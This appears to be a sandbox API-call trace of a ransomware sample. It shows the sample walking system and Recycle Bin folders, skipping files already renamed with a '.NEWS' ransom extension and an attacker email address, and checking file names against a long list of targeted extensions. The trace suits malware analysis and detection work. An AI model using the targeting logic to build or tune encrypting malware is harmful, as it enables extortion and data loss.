[0156.924] lstrlenW (lpString=".pct") returned 4 [0156.924] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pcx") returned 4 [0156.924] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pdd") returned 4 [0156.924] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pdf") returned 4 [0156.924] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pdp") returned 4 [0156.924] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pef") returned 4 [0156.924] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pem") returned 4 [0156.924] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pff") returned 4 [0156.924] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pfm") returned 4 [0156.924] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pfx") returned 4 [0156.924] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".pgm") returned 4 [0156.924] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0156.924] lstrlenW (lpString=".php") returned 4 [0156.925] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0156.925] lstrlenW (lpString=".php3") returned 5 [0156.925] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0156.925] lstrlenW (lpString=".php4") returned 5 [0156.925] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0156.925] lstrlenW (lpString=".php5") returned 5 [0156.925] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0156.925] lstrlenW (lpString=".phtml") returned 6 [0156.925] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0156.925] lstrlenW (lpString=".pict") returned 5 [0156.925] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0156.925] lstrlenW (lpString=".pl") returned 3 [0156.925] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0156.925] lstrlenW (lpString=".pls") returned 4 [0156.925] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0156.925] lstrlenW (lpString=".pm") returned 3 [0156.925] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0156.925] lstrlenW (lpString=".png") returned 4 [0156.925] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0156.925] lstrlenW (lpString=".pnm") returned 4 [0156.925] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0156.925] lstrlenW (lpString=".pot") returned 4 [0156.925] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0156.925] lstrlenW (lpString=".potm") returned 5 [0156.925] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0156.925] lstrlenW (lpString=".potx") returned 5 [0156.925] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0156.925] lstrlenW (lpString=".ppa") returned 4 [0156.925] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0156.925] lstrlenW (lpString=".ppam") returned 5 [0156.925] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0156.925] lstrlenW (lpString=".ppm") returned 4 [0156.925] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0156.925] lstrlenW (lpString=".pps") returned 4 [0156.925] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0156.925] lstrlenW (lpString=".ppsm") returned 5 [0156.925] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0156.925] lstrlenW (lpString=".ppt") returned 4 [0156.926] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0156.926] lstrlenW (lpString=".pptm") returned 5 [0156.926] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0156.926] lstrlenW (lpString=".pptx") returned 5 [0156.926] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0156.926] lstrlenW (lpString=".prn") returned 4 [0156.926] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0156.926] lstrlenW (lpString=".ps") returned 3 [0156.926] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0156.926] lstrlenW (lpString=".psb") returned 4 [0156.926] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0156.926] lstrlenW (lpString=".psd") returned 4 [0156.926] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0156.926] lstrlenW (lpString=".pst") returned 4 [0156.926] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0156.926] lstrlenW (lpString=".ptx") returned 4 [0156.926] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0156.926] lstrlenW (lpString=".pub") returned 4 [0156.926] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0156.926] lstrlenW (lpString=".pwm") returned 4 [0156.926] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0156.926] FindNextFileW (in: hFindFile=0x484258, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3792d8c7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3792d8c7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3792d8c7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="OOBE_2~1.NEW")) returned 1 [0156.926] FindNextFileW (in: hFindFile=0x484258, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378e1547, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x378e1547, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x379077d3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARTNE~1.NEW")) returned 1 [0156.926] FindNextFileW (in: hFindFile=0x484258, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378e1547, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x378e1547, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x379077d3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARTNE~1.NEW")) returned 0 [0156.927] FindClose (in: hFindFile=0x484258 | out: hFindFile=0x484258) returned 1 [0156.927] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38a1450 | out: hHeap=0x420000) returned 1 [0156.927] FindNextFileW (in: hFindFile=0x484218, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0156.927] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x38a1450 [0156.927] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484718 [0156.930] FindNextFileW (in: hFindFile=0x484718, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.930] FindNextFileW (in: hFindFile=0x484718, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37789fff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37789fff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x377b0188, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="GETCUR~1.NEW")) returned 1 [0156.930] FindNextFileW (in: hFindFile=0x484718, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3792d8c7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3792d8c7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c28909, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="GETCUR~2.NEW")) returned 1 [0156.930] FindNextFileW (in: hFindFile=0x484718, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377d6656, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x377d6656, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b69cd9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARTNE~1.NEW")) returned 1 [0156.930] FindNextFileW (in: hFindFile=0x484718, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377d6656, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x377d6656, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3782299a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PREOOB~1.NEW")) returned 1 [0156.930] FindNextFileW (in: hFindFile=0x484718, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3782299a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3782299a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b8feaa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPC~1.NEW")) returned 1 [0156.930] FindNextFileW (in: hFindFile=0x484718, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3782299a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3782299a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b8feaa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPC~1.NEW")) returned 0 [0156.930] FindClose (in: hFindFile=0x484718 | out: hFindFile=0x484718) returned 1 [0156.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38a1450 | out: hHeap=0x420000) returned 1 [0156.931] FindNextFileW (in: hFindFile=0x484218, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0156.931] FindClose (in: hFindFile=0x484218 | out: hFindFile=0x484218) returned 1 [0156.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0156.931] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0156.931] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3891448 [0156.931] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4845d8 [0156.932] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0156.932] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0156.932] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x38a1450 [0156.932] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="ꁈG\x08")) returned 0xffffffff [0156.933] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38a1450 | out: hHeap=0x420000) returned 1 [0156.933] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0156.933] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x38a1450 [0156.933] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484858 [0156.933] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.933] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x68968dfd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.933] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37979f15, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37979f15, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c74c3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DESKTO~1.NEW")) returned 1 [0156.933] lstrlenW (lpString="desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 55 [0156.933] lstrlenW (lpString=".1cd") returned 4 [0156.933] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0156.933] lstrlenW (lpString=".3ds") returned 4 [0156.933] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".3fr") returned 4 [0156.934] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".3g2") returned 4 [0156.934] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".3gp") returned 4 [0156.934] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".7z") returned 3 [0156.934] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0156.934] lstrlenW (lpString=".accda") returned 6 [0156.934] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0156.934] lstrlenW (lpString=".accdb") returned 6 [0156.934] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0156.934] lstrlenW (lpString=".accdc") returned 6 [0156.934] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0156.934] lstrlenW (lpString=".accde") returned 6 [0156.934] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0156.934] lstrlenW (lpString=".accdt") returned 6 [0156.934] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0156.934] lstrlenW (lpString=".accdw") returned 6 [0156.934] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0156.934] lstrlenW (lpString=".adb") returned 4 [0156.934] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".adp") returned 4 [0156.934] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".ai") returned 3 [0156.934] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0156.934] lstrlenW (lpString=".ai3") returned 4 [0156.934] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".ai4") returned 4 [0156.934] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".ai5") returned 4 [0156.934] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".ai6") returned 4 [0156.934] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".ai7") returned 4 [0156.934] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0156.934] lstrlenW (lpString=".ai8") returned 4 [0156.935] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".anim") returned 5 [0156.935] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0156.935] lstrlenW (lpString=".arw") returned 4 [0156.935] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".as") returned 3 [0156.935] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0156.935] lstrlenW (lpString=".asa") returned 4 [0156.935] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".asc") returned 4 [0156.935] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".ascx") returned 5 [0156.935] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0156.935] lstrlenW (lpString=".asm") returned 4 [0156.935] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".asmx") returned 5 [0156.935] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0156.935] lstrlenW (lpString=".asp") returned 4 [0156.935] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".aspx") returned 5 [0156.935] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0156.935] lstrlenW (lpString=".asr") returned 4 [0156.935] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".asx") returned 4 [0156.935] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".avi") returned 4 [0156.935] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".avs") returned 4 [0156.935] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".backup") returned 7 [0156.935] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0156.935] lstrlenW (lpString=".bak") returned 4 [0156.935] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".bay") returned 4 [0156.935] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0156.935] lstrlenW (lpString=".bd") returned 3 [0156.935] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0156.935] lstrlenW (lpString=".bin") returned 4 [0156.936] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".bmp") returned 4 [0156.936] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".bz2") returned 4 [0156.936] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".c") returned 2 [0156.936] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0156.936] lstrlenW (lpString=".cdr") returned 4 [0156.936] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".cer") returned 4 [0156.936] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".cf") returned 3 [0156.936] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0156.936] lstrlenW (lpString=".cfc") returned 4 [0156.936] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".cfm") returned 4 [0156.936] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".cfml") returned 5 [0156.936] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0156.936] lstrlenW (lpString=".cfu") returned 4 [0156.936] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".chm") returned 4 [0156.936] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".cin") returned 4 [0156.936] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".class") returned 6 [0156.936] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0156.936] lstrlenW (lpString=".clx") returned 4 [0156.936] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".config") returned 7 [0156.936] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0156.936] lstrlenW (lpString=".cpp") returned 4 [0156.936] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".cr2") returned 4 [0156.936] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0156.936] lstrlenW (lpString=".crt") returned 4 [0156.937] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".crw") returned 4 [0156.937] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0156.937] lstrlenW (lpString=".cs") returned 3 [0156.937] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0156.937] lstrlenW (lpString=".css") returned 4 [0156.937] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 